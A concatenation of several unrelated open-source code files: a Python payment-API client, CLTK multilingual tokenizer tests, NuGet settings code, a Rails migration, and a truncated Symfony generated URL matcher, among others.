material.SetVector("_OutputMax", new Vector4(outputMaxR / 255f, outputMaxG / 255f, outputMaxB / 255f, 1.0f));
}
Graphics.Blit(source, destination, material);
}
}
| mit |
PagueVeloz/ClientAPI | python/pagueveloz/api/base.py | 1943 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
import unirest
from base64 import b64encode
URL_API = 'https://www.pagueveloz.com.br/api/'
class RetornoAPI:
def __init__(self, status, retorno):
self.status = status
self.retorno = retorno
def __repr__(self):
return '%s' % self.__dict__
class PagueVelozClient:
def __init__(self, versao, servico, chave=None):
self.versao = versao
self.servico = servico
self.chave = chave
def __monta_parametros(self, param):
query = '?'
for k, v in param.items():
query += '%s=%s&' % (k, v)
return query[:-1]
def __monta_url(self, param=None):
url = '%s/%s/%s' % (URL_API, self.versao, self.servico)
if param:
if type(param) == 'dict':
url = url + __monta_parametros(param)
else:
url = '%s/%s' % (url, param)
return url
def __monta_headers(self):
headers = { "Accept": "application/json", "Content-Type": "application/json" }
if self.chave:
headers['Authorization'] = 'Basic ' + b64encode(self.chave)
return headers;
def __monta_retorno(self, res):
return RetornoAPI(res.code, res.body)
def get(self, param=None):
res = unirest.get(self.__monta_url(param), headers=self.__monta_headers())
return self.__monta_retorno(res)
def post(self, dados):
res = unirest.post(self.__monta_url(), headers=self.__monta_headers(), params=json.dumps(dados))
return self.__monta_retorno(res)
def put(self, id, dados):
res = unirest.put(self.__monta_url(id), headers=self.__monta_headers(), params=json.dumps(dados))
return self.__monta_retorno(res)
def delete(self, id):
res = unirest.delete(self.__monta_url(id), headers=self.__monta_headers())
return self.__monta_retorno(res) | mit |
Mirmik/gxx | tests/HIDE/cstring/main.cpp | 74 | #include <gxx/print.h>
#include <gxx/datastruct/cstring.h>
int main() {
} | mit |
rohitbegani/BrainStorm-Quiz-website-engine | db/migrate/20140130045634_create_levels.rb | 222 | class CreateLevels < ActiveRecord::Migration
def change
create_table :levels do |t|
t.text :answer
t.integer :next_id
t.integer :prev_id
t.text :question
t.timestamps
end
end
end
| mit |
VisualDataWeb/OntoBench | src/main/java/de/linkvt/ontobench/features/datatypemaps/XsdUnsignedIntFeature.java | 320 | package de.linkvt.ontobench.features.datatypemaps;
import org.semanticweb.owlapi.vocab.OWL2Datatype;
import org.springframework.stereotype.Component;
@Component
public class XsdUnsignedIntFeature extends AbstractDatatypeMapFeature {
public XsdUnsignedIntFeature() {
super(OWL2Datatype.XSD_UNSIGNED_INT);
}
}
| mit |
BreeeZe/NuGetPackageExplorer | PackageExplorer/MefServices/SettingsManager.cs | 4011 | using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.ComponentModel.Composition;
using System.Linq;
using NuGetPe;
using NuGetPackageExplorer.Types;
using PackageExplorer.Properties;
namespace PackageExplorer
{
[Export(typeof(ISettingsManager))]
internal class SettingsManager : ISettingsManager
{
public const string ApiKeysSectionName = "apikeys";
#region ISettingsManager Members
public bool IsFirstTimeAfterUpdate
{
get
{
return Settings.Default.IsFirstTimeAfterMigrate;
}
}
public IList<string> GetMruFiles()
{
StringCollection files = Settings.Default.MruFiles;
return files == null ? new List<string>() : files.Cast<string>().ToList();
}
public void SetMruFiles(IEnumerable<string> files)
{
var sc = new StringCollection();
sc.AddRange(files.ToArray());
Settings.Default.MruFiles = sc;
}
public IList<string> GetPackageSources()
{
StringCollection sources = Settings.Default.MruPackageSources;
List<string> packageSources = (sources == null) ? new List<string>() : sources.Cast<string>().ToList();
return packageSources;
}
public void SetPackageSources(IEnumerable<string> sources)
{
var sc = new StringCollection();
sc.AddRange(sources.ToArray());
Settings.Default.MruPackageSources = sc;
}
public string ActivePackageSource
{
get { return Settings.Default.PackageSource; }
set { Settings.Default.PackageSource = value; }
}
public IList<string> GetPublishSources()
{
StringCollection sources = Settings.Default.PublishPackageSources;
List<string> packageSources = (sources == null) ? new List<string>() : sources.Cast<string>().ToList();
return packageSources;
}
public void SetPublishSources(IEnumerable<string> sources)
{
var sc = new StringCollection();
sc.AddRange(sources.ToArray());
Settings.Default.PublishPackageSources = sc;
}
public string ActivePublishSource
{
get { return Settings.Default.PublishPackageLocation; }
set { Settings.Default.PublishPackageLocation = value; }
}
public string ReadApiKey(string source)
{
var settings = new UserSettings(new PhysicalFileSystem(Environment.CurrentDirectory));
string key = settings.GetDecryptedValue(ApiKeysSectionName, source);
if (String.IsNullOrEmpty(key))
{
if (IsFirstTimeAfterUpdate && source.Equals(NuGetConstants.V2LegacyFeedUrl, StringComparison.OrdinalIgnoreCase))
{
key = Settings.Default.PublishPrivateKey;
}
}
return key;
}
public void WriteApiKey(string source, string apiKey)
{
var settings = new UserSettings(new PhysicalFileSystem(Environment.CurrentDirectory));
settings.SetEncryptedValue(ApiKeysSectionName, source, apiKey);
}
public bool ShowPrereleasePackages
{
get { return Settings.Default.ShowPrereleasePackages; }
set { Settings.Default.ShowPrereleasePackages = value; }
}
public bool AutoLoadPackages
{
get { return Settings.Default.AutoLoadPackages; }
set { Settings.Default.AutoLoadPackages = value; }
}
public bool PublishAsUnlisted
{
get
{
return Settings.Default.PublishAsUnlisted;
}
set
{
Settings.Default.PublishAsUnlisted = value;
}
}
#endregion
}
} | mit |
LBenzahia/cltk | cltk/tests/test_nlp/test_tokenize.py | 23990 | # -*-coding:utf-8-*-
"""Test cltk.tokenize.
"""
from cltk.corpus.utils.importer import CorpusImporter
from cltk.tokenize.sentence import TokenizeSentence
from cltk.tokenize.word import nltk_tokenize_words
from cltk.tokenize.word import WordTokenizer
from cltk.tokenize.line import LineTokenizer
import os
import unittest
__license__ = 'MIT License. See LICENSE.'
class TestSequenceFunctions(unittest.TestCase): # pylint: disable=R0904
"""Class for unittest"""
def setUp(self):
"""Clone Greek models in order to test pull function and other model
tests later.
"""
corpus_importer = CorpusImporter('greek')
corpus_importer.import_corpus('greek_models_cltk')
file_rel = os.path.join('~/cltk_data/greek/model/greek_models_cltk/README.md')
file = os.path.expanduser(file_rel)
file_exists = os.path.isfile(file)
self.assertTrue(file_exists)
corpus_importer = CorpusImporter('latin')
# corpus_importer.import_corpus('latin_models_cltk')
file_rel = os.path.join('~/cltk_data/latin/model/latin_models_cltk/README.md')
file = os.path.expanduser(file_rel)
file_exists = os.path.isfile(file)
if file_exists:
self.assertTrue(file_exists)
else:
corpus_importer.import_corpus('latin_models_cltk')
self.assertTrue(file_exists)
def test_sentence_tokenizer_latin(self):
"""Test tokenizing Latin sentences."""
text = "O di inmortales! ubinam gentium sumus? in qua urbe vivimus? quam rem publicam habemus? Hic, hic sunt in nostro numero, patres conscripti, in hoc orbis terrae sanctissimo gravissimoque consilio, qui de nostro omnium interitu, qui de huius urbis atque adeo de orbis terrarum exitio cogitent! Hos ego video consul et de re publica sententiam rogo et, quos ferro trucidari oportebat, eos nondum voce volnero! Fuisti igitur apud Laecam illa nocte, Catilina, distribuisti partes Italiae, statuisti, quo quemque proficisci placeret, delegisti, quos Romae relinqueres, quos tecum educeres, discripsisti urbis partes ad incendia, confirmasti te ipsum iam esse exiturum, dixisti paulum tibi esse etiam nunc morae, quod ego viverem." # pylint: disable=line-too-long
target = ['O di inmortales!', 'ubinam gentium sumus?', 'in qua urbe vivimus?', 'quam rem publicam habemus?', 'Hic, hic sunt in nostro numero, patres conscripti, in hoc orbis terrae sanctissimo gravissimoque consilio, qui de nostro omnium interitu, qui de huius urbis atque adeo de orbis terrarum exitio cogitent!', 'Hos ego video consul et de re publica sententiam rogo et, quos ferro trucidari oportebat, eos nondum voce volnero!', 'Fuisti igitur apud Laecam illa nocte, Catilina, distribuisti partes Italiae, statuisti, quo quemque proficisci placeret, delegisti, quos Romae relinqueres, quos tecum educeres, discripsisti urbis partes ad incendia, confirmasti te ipsum iam esse exiturum, dixisti paulum tibi esse etiam nunc morae, quod ego viverem.'] # pylint: disable=line-too-long
tokenizer = TokenizeSentence('latin')
tokenized_sentences = tokenizer.tokenize_sentences(text)
self.assertEqual(tokenized_sentences, target)
'''
def test_sentence_tokenizer_greek(self):
"""Test tokenizing Greek sentences.
TODO: Re-enable this. Test & code are good, but now fail on Travis CI for some reason.
"""
sentences = 'εἰ δὲ καὶ τῷ ἡγεμόνι πιστεύσομεν ὃν ἂν Κῦρος διδῷ, τί κωλύει καὶ τὰ ἄκρα ἡμῖν κελεύειν Κῦρον προκαταλαβεῖν; ἐγὼ γὰρ ὀκνοίην μὲν ἂν εἰς τὰ πλοῖα ἐμβαίνειν ἃ ἡμῖν δοίη, μὴ ἡμᾶς ταῖς τριήρεσι καταδύσῃ, φοβοίμην δ᾽ ἂν τῷ ἡγεμόνι ὃν δοίη ἕπεσθαι, μὴ ἡμᾶς ἀγάγῃ ὅθεν οὐκ ἔσται ἐξελθεῖν· βουλοίμην δ᾽ ἂν ἄκοντος ἀπιὼν Κύρου λαθεῖν αὐτὸν ἀπελθών· ὃ οὐ δυνατόν ἐστιν.' # pylint: disable=line-too-long
good_tokenized_sentences = ['εἰ δὲ καὶ τῷ ἡγεμόνι πιστεύσομεν ὃν ἂν Κῦρος διδῷ, τί κωλύει καὶ τὰ ἄκρα ἡμῖν κελεύειν Κῦρον προκαταλαβεῖν;', 'ἐγὼ γὰρ ὀκνοίην μὲν ἂν εἰς τὰ πλοῖα ἐμβαίνειν ἃ ἡμῖν δοίη, μὴ ἡμᾶς ταῖς τριήρεσι καταδύσῃ, φοβοίμην δ᾽ ἂν τῷ ἡγεμόνι ὃν δοίη ἕπεσθαι, μὴ ἡμᾶς ἀγάγῃ ὅθεν οὐκ ἔσται ἐξελθεῖν· βουλοίμην δ᾽ ἂν ἄκοντος ἀπιὼν Κύρου λαθεῖν αὐτὸν ἀπελθών· ὃ οὐ δυνατόν ἐστιν.'] # pylint: disable=line-too-long
tokenizer = TokenizeSentence('greek')
tokenized_sentences = tokenizer.tokenize_sentences(sentences)
self.assertEqual(len(tokenized_sentences), len(good_tokenized_sentences))
'''
def test_greek_word_tokenizer(self):
"""Test Latin-specific word tokenizer."""
word_tokenizer = WordTokenizer('greek')
# Test sources:
# - Thuc. 1.1.1
test = "Θουκυδίδης Ἀθηναῖος ξυνέγραψε τὸν πόλεμον τῶν Πελοποννησίων καὶ Ἀθηναίων, ὡς ἐπολέμησαν πρὸς ἀλλήλους, ἀρξάμενος εὐθὺς καθισταμένου καὶ ἐλπίσας μέγαν τε ἔσεσθαι καὶ ἀξιολογώτατον τῶν προγεγενημένων, τεκμαιρόμενος ὅτι ἀκμάζοντές τε ᾖσαν ἐς αὐτὸν ἀμφότεροι παρασκευῇ τῇ πάσῃ καὶ τὸ ἄλλο Ἑλληνικὸν ὁρῶν ξυνιστάμενον πρὸς ἑκατέρους, τὸ μὲν εὐθύς, τὸ δὲ καὶ διανοούμενον."
target = ['Θουκυδίδης', 'Ἀθηναῖος', 'ξυνέγραψε', 'τὸν', 'πόλεμον', 'τῶν', 'Πελοποννησίων', 'καὶ', 'Ἀθηναίων', ',', 'ὡς', 'ἐπολέμησαν', 'πρὸς', 'ἀλλήλους', ',', 'ἀρξάμενος', 'εὐθὺς', 'καθισταμένου', 'καὶ', 'ἐλπίσας', 'μέγαν', 'τε', 'ἔσεσθαι', 'καὶ', 'ἀξιολογώτατον', 'τῶν', 'προγεγενημένων', ',', 'τεκμαιρόμενος', 'ὅτι', 'ἀκμάζοντές', 'τε', 'ᾖσαν', 'ἐς', 'αὐτὸν', 'ἀμφότεροι', 'παρασκευῇ', 'τῇ', 'πάσῃ', 'καὶ', 'τὸ', 'ἄλλο', 'Ἑλληνικὸν', 'ὁρῶν', 'ξυνιστάμενον', 'πρὸς', 'ἑκατέρους', ',', 'τὸ', 'μὲν', 'εὐθύς', ',', 'τὸ', 'δὲ', 'καὶ', 'διανοούμενον', '.']
result = word_tokenizer.tokenize(test)
self.assertEqual(result, target)
def test_latin_word_tokenizer(self):
"""Test Latin-specific word tokenizer."""
word_tokenizer = WordTokenizer('latin')
#Test sources:
# - V. Aen. 1.1
# - Prop. 2.5.1-2
# - Ov. Am. 1.8.65-66
# - Cic. Phillip. 13.14
# - Plaut. Capt. 937
# - Lucr. DRN. 5.1351-53
# - Plaut. Bacch. 837-38
# - Plaut. Amph. 823
# - Caes. Bel. 6.29.2
tests = ['Arma virumque cano, Troiae qui primus ab oris.',
'Hoc verumst, tota te ferri, Cynthia, Roma, et non ignota vivere nequitia?',
'Nec te decipiant veteres circum atria cerae. Tolle tuos tecum, pauper amator, avos!',
'Neque enim, quod quisque potest, id ei licet, nec, si non obstatur, propterea etiam permittitur.',
'Quid opust verbis? lingua nullast qua negem quidquid roges.',
'Textile post ferrumst, quia ferro tela paratur, nec ratione alia possunt tam levia gigni insilia ac fusi, radii, scapique sonantes.', # pylint: disable=line-too-long
'Dic sodes mihi, bellan videtur specie mulier?',
'Cenavin ego heri in navi in portu Persico?',
'quae ripas Ubiorum contingebat in longitudinem pedum ducentorum rescindit']
results = []
for test in tests:
result = word_tokenizer.tokenize(test)
results.append(result)
target = [['Arma', 'virum', '-que', 'cano', ',', 'Troiae', 'qui', 'primus', 'ab', 'oris', '.'],
['Hoc', 'verum', 'est', ',', 'tota', 'te', 'ferri', ',', 'Cynthia', ',', 'Roma', ',', 'et', 'non', 'ignota', 'vivere', 'nequitia', '?'], # pylint: disable=line-too-long
['Nec', 'te', 'decipiant', 'veteres', 'circum', 'atria', 'cerae', '.', 'Tolle', 'tuos', 'cum', 'te', ',', 'pauper', 'amator', ',', 'avos', '!'], # pylint: disable=line-too-long
['Neque', 'enim', ',', 'quod', 'quisque', 'potest', ',', 'id', 'ei', 'licet', ',', 'nec', ',', 'si', 'non', 'obstatur', ',', 'propterea', 'etiam', 'permittitur', '.'], # pylint: disable=line-too-long
['Quid', 'opus', 'est', 'verbis', '?', 'lingua', 'nulla', 'est', 'qua', 'negem', 'quidquid', 'roges', '.'], # pylint: disable=line-too-long
['Textile', 'post', 'ferrum', 'est', ',', 'quia', 'ferro', 'tela', 'paratur', ',', 'nec', 'ratione', 'alia', 'possunt', 'tam', 'levia', 'gigni', 'insilia', 'ac', 'fusi', ',', 'radii', ',', 'scapi', '-que', 'sonantes', '.'], # pylint: disable=line-too-long
['Dic', 'si', 'audes', 'mihi', ',', 'bella', '-ne', 'videtur', 'specie', 'mulier', '?'],
['Cenavi', '-ne', 'ego', 'heri', 'in', 'navi', 'in', 'portu', 'Persico', '?'],
['quae', "ripas", "Ubiorum", "contingebat", "in", "longitudinem", "pedum", "ducentorum", "rescindit"]
]
self.assertEqual(results, target)
def test_tokenize_arabic_words(self):
word_tokenizer = WordTokenizer('arabic')
tests = ['اللُّغَةُ الْعَرَبِيَّةُ جَمِيلَةٌ.',
'انما الْمُؤْمِنُونَ اخوه فاصلحوا بَيْنَ اخويكم',
'الْعَجُزُ عَنِ الْإِدْرَاكِ إِدْرَاكٌ، وَالْبَحْثَ فِي ذاتِ اللَّه اشراك.',
'اللَّهُمُّ اُسْتُرْ عُيُوبَنَا وَأَحْسَنَ خَوَاتِيمَنَا الْكَاتِبِ: نَبِيلُ جلهوم',
'الرَّأْي قَبْلَ شَجَاعَة الشّجعَانِ',
'فَأَنْزَلْنَا مِنْ السَّمَاء مَاء فَأَسْقَيْنَاكُمُوهُ',
'سُئِلَ بَعْضُ الْكُتَّابِ عَنِ الْخَطّ، مَتَى يَسْتَحِقُّ أَنْ يُوصَفَ بِالْجَوْدَةِ ؟'
]
results = []
for test in tests:
result = word_tokenizer.tokenize(test)
results.append(result)
target = [['اللُّغَةُ', 'الْعَرَبِيَّةُ', 'جَمِيلَةٌ', '.'],
['انما', 'الْمُؤْمِنُونَ', 'اخوه', 'فاصلحوا', 'بَيْنَ', 'اخويكم'],
['الْعَجُزُ', 'عَنِ', 'الْإِدْرَاكِ', 'إِدْرَاكٌ', '،', 'وَالْبَحْثَ', 'فِي', 'ذاتِ', 'اللَّه', 'اشراك', '.'], # pylint: disable=line-too-long
['اللَّهُمُّ', 'اُسْتُرْ', 'عُيُوبَنَا', 'وَأَحْسَنَ', 'خَوَاتِيمَنَا', 'الْكَاتِبِ', ':', 'نَبِيلُ', 'جلهوم'], # pylint: disable=line-too-long
['الرَّأْي', 'قَبْلَ', 'شَجَاعَة', 'الشّجعَانِ'],
['فَأَنْزَلْنَا', 'مِنْ', 'السَّمَاء', 'مَاء', 'فَأَسْقَيْنَاكُمُوهُ'],
['سُئِلَ', 'بَعْضُ', 'الْكُتَّابِ', 'عَنِ', 'الْخَطّ', '،', 'مَتَى', 'يَسْتَحِقُّ', 'أَنْ', 'يُوصَفَ', 'بِالْجَوْدَةِ', '؟'] # pylint: disable=line-too-long
]
self.assertEqual(results, target)
def test_word_tokenizer_french(self):
word_tokenizer = WordTokenizer('french')
tests = ["S'a table te veulz maintenir, Honnestement te dois tenir Et garder les enseignemens Dont cilz vers sont commancemens."] # pylint: disable=line-too-long
results = []
for test in tests:
result = word_tokenizer.tokenize(test)
results.append(result)
target = [["S'", 'a', 'table', 'te', 'veulz', 'maintenir', ',', 'Honnestement', 'te', 'dois', 'tenir', 'Et', 'garder', 'les', 'enseignemens', 'Dont', 'cilz', 'vers', 'sont', 'commancemens', '.']] # pylint: disable=line-too-long
self.assertEqual(results, target)
def test_nltk_tokenize_words(self):
"""Test wrapper for NLTK's PunktLanguageVars()"""
tokens = nltk_tokenize_words("Sentence 1. Sentence 2.", attached_period=False)
target = ['Sentence', '1', '.', 'Sentence', '2', '.']
self.assertEqual(tokens, target)
def test_nltk_tokenize_words_attached(self):
"""Test wrapper for NLTK's PunktLanguageVars(), returning unaltered output."""
tokens = nltk_tokenize_words("Sentence 1. Sentence 2.", attached_period=True)
target = ['Sentence', '1.', 'Sentence', '2.']
self.assertEqual(tokens, target)
def test_sanskrit_nltk_tokenize_words(self):
"""Test wrapper for NLTK's PunktLanguageVars()"""
tokens = nltk_tokenize_words("कृपया।", attached_period=False, language='sanskrit')
target = ['कृपया', '।']
self.assertEqual(tokens, target)
def test_sanskrit_nltk_tokenize_words_attached(self):
"""Test wrapper for NLTK's PunktLanguageVars(), returning unaltered output."""
tokens = nltk_tokenize_words("कृपया।", attached_period=True, language='sanskrit')
target = ['कृपया।']
self.assertEqual(tokens, target)
def test_nltk_tokenize_words_assert(self):
"""Test assert error for CLTK's word tokenizer."""
with self.assertRaises(AssertionError):
nltk_tokenize_words(['Sentence', '1.'])
def test_line_tokenizer(self):
"""Test LineTokenizer"""
text = """49. Miraris verbis nudis me scribere versus?\nHoc brevitas fecit, sensus coniungere binos."""
target = ['49. Miraris verbis nudis me scribere versus?','Hoc brevitas fecit, sensus coniungere binos.']
tokenizer = LineTokenizer('latin')
tokenized_lines = tokenizer.tokenize(text)
self.assertTrue(tokenized_lines == target)
def test_line_tokenizer_include_blanks(self):
"""Test LineTokenizer"""
text = """48. Cum tibi contigerit studio cognoscere multa,\nFac discas multa, vita nil discere velle.\n\n49. Miraris verbis nudis me scribere versus?\nHoc brevitas fecit, sensus coniungere binos.""" # pylint: disable=line-too-long
target = ['48. Cum tibi contigerit studio cognoscere multa,','Fac discas multa, vita nil discere velle.','','49. Miraris verbis nudis me scribere versus?','Hoc brevitas fecit, sensus coniungere binos.'] # pylint: disable=line-too-long
tokenizer = LineTokenizer('latin')
tokenized_lines = tokenizer.tokenize(text, include_blanks=True)
self.assertTrue(tokenized_lines == target)
def test_french_line_tokenizer(self):
"""Test LineTokenizer"""
text = """Ki de bone matire traite,\nmult li peise, se bien n’est faite.\nOëz, seignur, que dit Marie,\nki en sun tens pas ne s’oblie. """ # pylint: disable=line-too-long
target = ['Ki de bone matire traite,', 'mult li peise, se bien n’est faite.','Oëz, seignur, que dit Marie,', 'ki en sun tens pas ne s’oblie. '] # pylint: disable=line-too-long
tokenizer = LineTokenizer('french')
tokenized_lines = tokenizer.tokenize(text)
self.assertTrue(tokenized_lines == target)
def test_french_line_tokenizer_include_blanks(self):
"""Test LineTokenizer"""
text = """Ki de bone matire traite,\nmult li peise, se bien n’est faite.\nOëz, seignur, que dit Marie,\nki en sun tens pas ne s’oblie.\n\nLes contes que jo sai verais,\ndunt li Bretun unt fait les lais,\nvos conterai assez briefment.""" # pylint: disable=line-too-long
target = ['Ki de bone matire traite,', 'mult li peise, se bien n’est faite.', 'Oëz, seignur, que dit Marie,', 'ki en sun tens pas ne s’oblie.','','Les contes que jo sai verais,','dunt li Bretun unt fait les lais,','vos conterai assez briefment.'] # pylint: disable=line-too-long
tokenizer = LineTokenizer('french')
tokenized_lines = tokenizer.tokenize(text, include_blanks=True)
self.assertTrue(tokenized_lines == target)
def test_old_norse_word_tokenizer(self):
text = "Gylfi konungr var maðr vitr ok fjölkunnigr. " \
"Hann undraðist þat mjök, er ásafólk var svá kunnigt, at allir hlutir gengu at vilja þeira."
target = ['Gylfi', 'konungr', 'var', 'maðr', 'vitr', 'ok', 'fjölkunnigr', '.', 'Hann', 'undraðist', 'þat',
'mjök', ',', 'er', 'ásafólk', 'var', 'svá', 'kunnigt', ',', 'at', 'allir', 'hlutir', 'gengu', 'at',
'vilja', 'þeira', '.']
word_tokenizer = WordTokenizer('old_norse')
result = word_tokenizer.tokenize(text)
self.assertTrue(result == target)
def test_middle_english_tokenizer(self):
text = " Fers am I ferd of oure fare;\n Fle we ful fast þer-fore. \n Can Y no cownsel bot care.\n\n"
target = ['Fers', 'am', 'I', 'ferd', 'of', 'oure', 'fare', ';', 'Fle', 'we', 'ful', 'fast', 'þer', '-', 'fore', '.',
'Can', 'Y', 'no', 'cownsel', 'bot', 'care', '.']
tokenizer = WordTokenizer('middle_english')
tokenized = tokenizer.tokenize(text)
self.assertTrue(tokenized == target)
def test_middle_high_german_tokenizer(self):
text = "Gâwân het êre unde heil,\nieweders volleclîchen teil:\nnu nâht och sînes kampfes zît."
target = ['Gâwân', 'het', 'êre', 'unde', 'heil', ',', 'ieweders', 'volleclîchen', 'teil', ':', 'nu', 'nâht', 'och', 'sînes', 'kampfes', 'zît', '.']
tokenizer = WordTokenizer('middle_high_german')
tokenized_lines = tokenizer.tokenize(text)
self.assertTrue(tokenized_lines == target)
def test_sentence_tokenizer_bengali(self):
"""Test tokenizing bengali sentences."""
text = "দুর্ব্বাসার শাপে রাজা শকুন্তলাকে একেবারে ভুলে বেশ সুখে আছেন।"
target = ['দুর্ব্বাসার', 'শাপে', 'রাজা', 'শকুন্তলাকে', 'একেবারে', 'ভুলে', 'বেশ', 'সুখে', 'আছেন', '।']
tokenizer = TokenizeSentence('bengali')
tokenized_sentences = tokenizer.tokenize(text)
self.assertEqual(tokenized_sentences, target)
def test_sentence_tokenizer_classical_hindi(self):
"""Test tokenizing classical_hindi sentences."""
text = "जलर् चिकित्सा से उन्हें कोई लाभ नहीं हुआ।"
target = ['जलर्', 'चिकित्सा', 'से', 'उन्हें', 'कोई', 'लाभ', 'नहीं', 'हुआ', '।']
tokenizer = TokenizeSentence('hindi')
tokenized_sentences = tokenizer.tokenize(text)
self.assertEqual(tokenized_sentences, target)
def test_sentence_tokenizer_marathi(self):
"""Test tokenizing marathi sentences."""
text = "अर्जुन उवाच । एवं सतत युक्ता ये भक्तास्त्वां पर्युपासते । ये चाप्यक्षरमव्यक्तं तेषां के योगवित्तमाः ॥"
target = ['अर्जुन', 'उवाच', '।', 'एवं', 'सतत', 'युक्ता', 'ये', 'भक्तास्त्वां', 'पर्युपासते', '।', 'ये', 'चाप्यक्षरमव्यक्तं', 'तेषां', 'के', 'योगवित्तमाः', '॥']
tokenizer = TokenizeSentence('marathi')
tokenized_sentences = tokenizer.tokenize(text)
self.assertEqual(tokenized_sentences, target)
def test_sentence_tokenizer_sanskrit(self):
"""Test tokenizing sanskrit sentences."""
text = "श्री भगवानुवाच पश्य मे पार्थ रूपाणि शतशोऽथ सहस्रशः। नानाविधानि दिव्यानि नानावर्णाकृतीनि च।।"
target = ['श्री', 'भगवानुवाच', 'पश्य', 'मे', 'पार्थ', 'रूपाणि', 'शतशोऽथ', 'सहस्रशः', '।', 'नानाविधानि', 'दिव्यानि', 'नानावर्णाकृतीनि', 'च', '।', '।']
tokenizer = TokenizeSentence('sanskrit')
tokenized_sentences = tokenizer.tokenize(text)
self.assertEqual(tokenized_sentences, target)
def test_sentence_tokenizer_telugu(self):
"""Test tokenizing telugu sentences."""
text = "తా. ఎక్కడెక్కడ బుట్టిన నదులును రత్నాకరుడను నాశతో సముద్రుని చేరువిధముగా నెన్నియిక్కట్టులకైన నోర్చి ప్రజలు దమంతట దామె ప్రియముం జూపుచు ధనికుని యింటికేతెంచుచుందురు."
target = ['తా', '.', 'ఎక్కడెక్కడ', 'బుట్టిన', 'నదులును', 'రత్నాకరుడను', 'నాశతో', 'సముద్రుని', 'చేరువిధముగా', 'నెన్నియిక్కట్టులకైన', 'నోర్చి', 'ప్రజలు', 'దమంతట', 'దామె', 'ప్రియముం', 'జూపుచు', 'ధనికుని', 'యింటికేతెంచుచుందురు', '.']
tokenizer = TokenizeSentence('telugu')
tokenized_sentences = tokenizer.tokenize(text)
self.assertEqual(tokenized_sentences, target)
def test_akkadian_word_tokenizer(self):
"""
Tests word_tokenizer.
"""
tokenizer = WordTokenizer('akkadian')
line = 'u2-wa-a-ru at-ta e2-kal2-la-ka _e2_-ka wu-e-er'
output = tokenizer.tokenize(line)
goal = [('u2-wa-a-ru', 'akkadian'), ('at-ta', 'akkadian'),
('e2-kal2-la-ka', 'akkadian'),
('_e2_-ka', 'sumerian'), ('wu-e-er', 'akkadian')]
self.assertEqual(output, goal)
def test_akkadian_sign_tokenizer(self):
"""
Tests sign_tokenizer.
"""
tokenizer = WordTokenizer('akkadian')
word = ("{gisz}isz-pur-ram", "akkadian")
output = tokenizer.tokenize_sign(word)
goal = [("gisz", "determinative"), ("isz", "akkadian"),
("pur", "akkadian"), ("ram", "akkadian")]
self.assertEqual(output, goal)
if __name__ == '__main__':
unittest.main()
| mit |
ingetat2014/www | app/cache/dev/appDevUrlMatcher.php | 88709 | <?php
use Symfony\Component\Routing\Exception\MethodNotAllowedException;
use Symfony\Component\Routing\Exception\ResourceNotFoundException;
use Symfony\Component\Routing\RequestContext;
/**
* appDevUrlMatcher
*
* This class has been auto-generated
* by the Symfony Routing Component.
*/
class appDevUrlMatcher extends Symfony\Bundle\FrameworkBundle\Routing\RedirectableUrlMatcher
{
/**
* Constructor.
*/
public function __construct(RequestContext $context)
{
$this->context = $context;
}
public function match($pathinfo)
{
$allow = array();
$pathinfo = rawurldecode($pathinfo);
$context = $this->context;
$request = $this->request;
if (0 === strpos($pathinfo, '/css/compiled/main')) {
// _assetic_ef1cb38
if ($pathinfo === '/css/compiled/main.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => NULL, '_format' => 'css', '_route' => '_assetic_ef1cb38',);
}
if (0 === strpos($pathinfo, '/css/compiled/main_part_1_')) {
if (0 === strpos($pathinfo, '/css/compiled/main_part_1_bootstrap')) {
if (0 === strpos($pathinfo, '/css/compiled/main_part_1_bootstrap-')) {
// _assetic_ef1cb38_0
if ($pathinfo === '/css/compiled/main_part_1_bootstrap-multiselect_1.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 0, '_format' => 'css', '_route' => '_assetic_ef1cb38_0',);
}
// _assetic_ef1cb38_1
if ($pathinfo === '/css/compiled/main_part_1_bootstrap-responsive.min_2.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 1, '_format' => 'css', '_route' => '_assetic_ef1cb38_1',);
}
}
// _assetic_ef1cb38_2
if ($pathinfo === '/css/compiled/main_part_1_bootstrap.min_3.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 2, '_format' => 'css', '_route' => '_assetic_ef1cb38_2',);
}
}
// _assetic_ef1cb38_3
if ($pathinfo === '/css/compiled/main_part_1_css1_4.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 3, '_format' => 'css', '_route' => '_assetic_ef1cb38_3',);
}
if (0 === strpos($pathinfo, '/css/compiled/main_part_1_j')) {
if (0 === strpos($pathinfo, '/css/compiled/main_part_1_jquery')) {
// _assetic_ef1cb38_4
if ($pathinfo === '/css/compiled/main_part_1_jquery-ui_5.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 4, '_format' => 'css', '_route' => '_assetic_ef1cb38_4',);
}
// _assetic_ef1cb38_5
if ($pathinfo === '/css/compiled/main_part_1_jquery.datetimepicker_6.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 5, '_format' => 'css', '_route' => '_assetic_ef1cb38_5',);
}
}
// _assetic_ef1cb38_6
if ($pathinfo === '/css/compiled/main_part_1_justified-nav_7.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 6, '_format' => 'css', '_route' => '_assetic_ef1cb38_6',);
}
}
// _assetic_ef1cb38_7
if ($pathinfo === '/css/compiled/main_part_1_navbar_8.css') {
return array ( '_controller' => 'assetic.controller:render', 'name' => 'ef1cb38', 'pos' => 7, '_format' => 'css', '_route' => '_assetic_ef1cb38_7',);
}
}
}
if (0 === strpos($pathinfo, '/js/compiled/main')) {
// _assetic_02197b4
if ($pathinfo === '/js/compiled/main.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => NULL, '_format' => 'js', '_route' => '_assetic_02197b4',);
}
if (0 === strpos($pathinfo, '/js/compiled/main_part_1_')) {
if (0 === strpos($pathinfo, '/js/compiled/main_part_1_ajax')) {
// _assetic_02197b4_0
if ($pathinfo === '/js/compiled/main_part_1_ajaxFeuillederoute_1.js') {
